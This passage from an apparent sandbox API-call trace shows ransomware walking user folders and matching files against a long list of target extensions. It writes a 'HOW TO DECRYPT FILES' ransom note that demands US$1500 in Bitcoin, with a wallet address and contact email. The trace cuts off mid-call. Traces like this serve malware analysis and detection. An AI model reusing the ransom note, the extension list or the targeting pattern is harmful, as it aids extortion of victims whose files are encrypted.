[0090.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.qif") returned 0 [0090.115] lstrlenA (lpString="*.qif") returned 5 [0090.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.mye") returned 0 [0090.115] lstrlenA (lpString="*.mye") returned 5 [0090.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.mbox") returned 0 [0090.115] lstrlenA (lpString="*.mbox") returned 6 [0090.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.eml") returned 0 [0090.115] lstrlenA (lpString="*.eml") returned 5 [0090.115] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.pst") returned 0 [0090.115] lstrlenA (lpString="*.pst") returned 5 [0090.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.ost") returned 0 [0090.116] lstrlenA (lpString="*.ost") returned 5 [0090.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.idx") returned 0 [0090.116] lstrlenA (lpString="*.idx") returned 5 [0090.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.dbx") returned 0 [0090.116] lstrlenA (lpString="*.dbx") returned 5 [0090.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.sql") returned 0 [0090.116] lstrlenA (lpString="*.sql") returned 5 [0090.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.mdb") returned 0 [0090.116] lstrlenA (lpString="*.mdb") returned 5 [0090.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.fdb") returned 0 [0090.116] lstrlenA (lpString="*.fdb") returned 5 [0090.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.wab") returned 0 [0090.116] lstrlenA (lpString="*.wab") returned 5 [0090.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.dat") returned 0 [0090.116] lstrlenA (lpString="*.dat") returned 5 [0090.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.txt") returned 0 [0090.116] lstrlenA (lpString="*.txt") returned 5 [0090.116] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.jpeg") returned 0 [0090.116] lstrlenA (lpString="*.jpeg") returned 6 [0090.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.jpg") returned 0 [0090.117] lstrlenA (lpString="*.jpg") returned 5 [0090.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.png") returned 0 [0090.117] lstrlenA (lpString="*.png") returned 5 [0090.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.php") returned 0 [0090.117] lstrlenA (lpString="*.php") returned 5 [0090.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.cs") returned 0 [0090.117] lstrlenA (lpString="*.cs") returned 4 [0090.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.cpp") returned 0 [0090.117] lstrlenA (lpString="*.cpp") returned 5 [0090.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.rar") returned 0 [0090.117] lstrlenA (lpString="*.rar") returned 5 [0090.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.zip") returned 0 [0090.117] lstrlenA (lpString="*.zip") returned 5 [0090.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.html") returned 0 [0090.117] lstrlenA (lpString="*.html") returned 6 [0090.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.htm") returned 0 [0090.117] lstrlenA (lpString="*.htm") returned 5 [0090.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.xlsx") returned 0 [0090.117] lstrlenA (lpString="*.xlsx") returned 6 [0090.117] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.xls") returned 0 [0090.118] lstrlenA (lpString="*.xls") returned 5 [0090.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.mp4") returned 0 [0090.118] lstrlenA (lpString="*.mp4") returned 5 [0090.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.ppt") returned 0 [0090.118] lstrlenA (lpString="*.ppt") returned 5 [0090.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.pptx") returned 0 [0090.118] lstrlenA (lpString="*.pptx") returned 6 [0090.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.doc") returned 0 [0090.118] lstrlenA (lpString="*.doc") returned 5 [0090.118] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.dot") returned 0 [0090.118] lstrlenA (lpString="*.dot") returned 5 [0090.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.docx") returned 0 [0090.119] lstrlenA (lpString="*.docx") returned 6 [0090.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.7z") returned 0 [0090.119] lstrlenA (lpString="*.7z") returned 4 [0090.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.tar") returned 0 [0090.119] lstrlenA (lpString="*.tar") returned 5 [0090.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.bz2") returned 0 [0090.120] lstrlenA (lpString="*.bz2") returned 5 [0090.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.gz") returned 0 [0090.120] lstrlenA (lpString="*.gz") returned 4 [0090.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.mkv") returned 0 [0090.120] lstrlenA (lpString="*.mkv") returned 5 [0090.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.eml") returned 0 [0090.120] lstrlenA (lpString="*.eml") returned 5 [0090.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.msg") returned 0 [0090.120] lstrlenA (lpString="*.msg") returned 5 [0090.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.edb") returned 0 [0090.120] lstrlenA (lpString="*.edb") returned 5 [0090.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.accdb") returned 0 [0090.120] lstrlenA (lpString="*.accdb") returned 7 [0090.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.odb") returned 0 [0090.120] lstrlenA (lpString="*.odb") returned 5 [0090.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.java") returned 0 [0090.120] lstrlenA (lpString="*.java") returned 6 [0090.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.asm") returned 0 [0090.120] lstrlenA (lpString="*.asm") returned 5 [0090.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.pfx") returned 0 [0090.121] lstrlenA (lpString="*.pfx") returned 5 [0090.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.pem") returned 0 [0090.121] lstrlenA (lpString="*.pem") returned 5 [0090.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.p12") returned 0 [0090.121] lstrlenA (lpString="*.p12") returned 5 [0090.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.gpg") returned 0 [0090.121] lstrlenA (lpString="*.gpg") returned 5 [0090.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.vsd") returned 0 [0090.121] lstrlenA (lpString="*.vsd") returned 5 [0090.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.odg") returned 0 [0090.121] lstrlenA (lpString="*.odg") returned 5 [0090.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.raw") returned 0 [0090.121] lstrlenA (lpString="*.raw") returned 5 [0090.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.nef") returned 0 [0090.121] lstrlenA (lpString="*.nef") returned 5 [0090.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.svg") returned 0 [0090.121] lstrlenA (lpString="*.svg") returned 5 [0090.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.psd") returned 0 [0090.121] lstrlenA (lpString="*.psd") returned 5 [0090.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.vmx") returned 0 [0090.121] lstrlenA (lpString="*.vmx") returned 5 [0090.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.vmdk") returned 0 [0090.122] lstrlenA (lpString="*.vmdk") returned 6 [0090.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.vdi") returned 0 [0090.122] lstrlenA (lpString="*.vdi") returned 5 [0090.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.lay6") returned 0 [0090.122] lstrlenA (lpString="*.lay6") returned 6 [0090.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.mpeg") returned 0 [0090.122] lstrlenA (lpString="*.mpeg") returned 6 [0090.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.djvu") returned 0 [0090.122] lstrlenA (lpString="*.djvu") returned 6 [0090.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.tiff") returned 0 [0090.122] lstrlenA (lpString="*.tiff") returned 6 [0090.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.backup") returned 0 [0090.122] lstrlenA (lpString="*.backup") returned 8 [0090.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.pdf") returned 0 [0090.122] lstrlenA (lpString="*.pdf") returned 5 [0090.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.cert") returned 0 [0090.122] lstrlenA (lpString="*.cert") returned 6 [0090.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.docm") returned 0 [0090.123] lstrlenA (lpString="*.docm") returned 6 [0090.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.xlsm") returned 0 [0090.123] lstrlenA (lpString="*.xlsm") returned 6 [0090.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.dwg") returned 0 [0090.123] lstrlenA (lpString="*.dwg") returned 5 [0090.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.nd") returned 0 [0090.123] lstrlenA (lpString="*.nd") returned 4 [0090.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.tlg") returned 0 [0090.123] lstrlenA (lpString="*.tlg") returned 5 [0090.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.lgb") returned 0 [0090.123] lstrlenA (lpString="*.lgb") returned 5 [0090.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.mov") returned 0 [0090.123] lstrlenA (lpString="*.mov") returned 5 [0090.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.xdw") returned 0 [0090.123] lstrlenA (lpString="*.xdw") returned 5 [0090.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.ods") returned 0 [0090.123] lstrlenA (lpString="*.ods") returned 5 [0090.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.wav") returned 0 [0090.123] lstrlenA (lpString="*.wav") returned 5 [0090.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.mp3") returned 0 [0090.124] lstrlenA (lpString="*.mp3") returned 5 [0090.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.aiff") returned 0 [0090.124] lstrlenA (lpString="*.aiff") returned 6 [0090.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.flac") returned 0 [0090.124] lstrlenA (lpString="*.flac") returned 6 [0090.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.m4a") returned 0 [0090.124] lstrlenA (lpString="*.m4a") returned 5 [0090.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", pszSpec="*.csv") returned 0 [0090.124] lstrlenA (lpString="*.csv") returned 5 [0090.124] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0090.124] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0090.124] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0090.124] lstrcmpA (lpString1=".", lpString2="Favorites") returned -1 [0090.125] lstrcmpA (lpString1="..", lpString2="Favorites") returned -1 [0090.125] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0090.125] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="Favorites" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0090.125] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 39 [0090.125] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0090.125] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.125] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.125] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.125] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.125] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.125] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.125] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0090.126] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0090.126] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0090.126] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*.*") returned="*.*" [0090.126] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0090.126] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="" [0090.126] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\HOW TO DECRYPT FILES.txt" [0090.126] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\how to decrypt files.txt")) returned 0xffffffff [0090.126] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0090.127] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.127] WriteFile (in: hFile=0x88, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.128] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.129] CloseHandle (hObject=0x88) returned 1 [0090.129] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini" [0090.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.ems") returned 0 [0090.129] lstrlenA (lpString="*.ems") returned 5 [0090.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.db") returned 0 [0090.129] lstrlenA (lpString="*.db") returned 4 [0090.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.dbf") returned 0 [0090.129] lstrlenA (lpString="*.dbf") returned 5 [0090.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.myox") returned 0 [0090.129] lstrlenA (lpString="*.myox") returned 6 [0090.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.myo") returned 0 [0090.129] lstrlenA (lpString="*.myo") returned 5 [0090.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.qbw") returned 0 [0090.129] lstrlenA (lpString="*.qbw") returned 5 [0090.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.qbb") returned 0 [0090.129] lstrlenA (lpString="*.qbb") returned 5 [0090.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.qbm") returned 0 [0090.129] lstrlenA (lpString="*.qbm") returned 5 [0090.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.qbo") returned 0 [0090.129] lstrlenA (lpString="*.qbo") returned 5 [0090.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.qbx") returned 0 [0090.130] lstrlenA (lpString="*.qbx") returned 5 [0090.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.qba") returned 0 [0090.130] lstrlenA (lpString="*.qba") returned 5 [0090.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.qby") returned 0 [0090.130] lstrlenA (lpString="*.qby") returned 5 [0090.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.qbj") returned 0 [0090.130] lstrlenA (lpString="*.qbj") returned 5 [0090.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.ofx") returned 0 [0090.130] lstrlenA (lpString="*.ofx") returned 5 [0090.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.qif") returned 0 [0090.130] lstrlenA (lpString="*.qif") returned 5 [0090.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.mye") returned 0 [0090.130] lstrlenA (lpString="*.mye") returned 5 [0090.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.mbox") returned 0 [0090.130] lstrlenA (lpString="*.mbox") returned 6 [0090.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.eml") returned 0 [0090.130] lstrlenA (lpString="*.eml") returned 5 [0090.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.pst") returned 0 [0090.130] lstrlenA (lpString="*.pst") returned 5 [0090.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.ost") returned 0 [0090.130] lstrlenA (lpString="*.ost") returned 5 [0090.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.idx") returned 0 [0090.130] lstrlenA (lpString="*.idx") returned 5 [0090.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.dbx") returned 0 [0090.131] lstrlenA (lpString="*.dbx") returned 5 [0090.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.sql") returned 0 [0090.131] lstrlenA (lpString="*.sql") returned 5 [0090.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.mdb") returned 0 [0090.131] lstrlenA (lpString="*.mdb") returned 5 [0090.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", pszSpec="*.fdb") returned 0 [0090.131] lstrlenA 